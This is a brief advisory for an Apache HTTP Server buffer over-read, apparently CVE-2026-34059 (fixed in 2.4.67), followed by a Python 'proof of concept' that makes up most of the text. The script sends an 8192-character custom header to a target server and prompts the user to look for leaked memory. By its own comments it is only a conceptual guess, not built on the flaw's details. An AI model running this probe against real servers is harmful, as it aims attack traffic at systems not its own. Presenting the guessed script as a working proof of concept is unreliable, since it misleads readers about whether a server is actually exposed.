Buffer Over-read vulnerability in Apache HTTP Server.
This issue affects Apache HTTP Server: through 2.4.66.
Users are recommended to upgrade to version 2.4.67, which fixes the issue.
The following code is for security research and authorized testing only.
python
import requests
# Proof of Concept for CVE-2026-34059
# This script attempts to trigger the buffer over-read by sending a crafted request.
# NOTE: This is a conceptual demonstration based on the vulnerability description.
TARGET_URL = "http://example.com/"
def trigger_vulnerability():
# Craft a header with excessive length to potentially hit the buffer boundary
headers = {
"User-Agent": "CVE-2026-34059-PoC",
"X-Malicious-Header": "A" * 8192 # Arbitrary long string to trigger read
}
try:
print(f"[*] Sending request to {TARGET_URL}...")
response = requests.get(TARGET_URL, headers=headers, timeout=10)
# Check if server responded with potential leaked data in headers or body
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Inspect response headers and body for memory artifacts.")
print(f"[-] Response Content-Length: {len(response.content)}")
else:
print(f"[-] Server returned code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
trigger_vulnerability()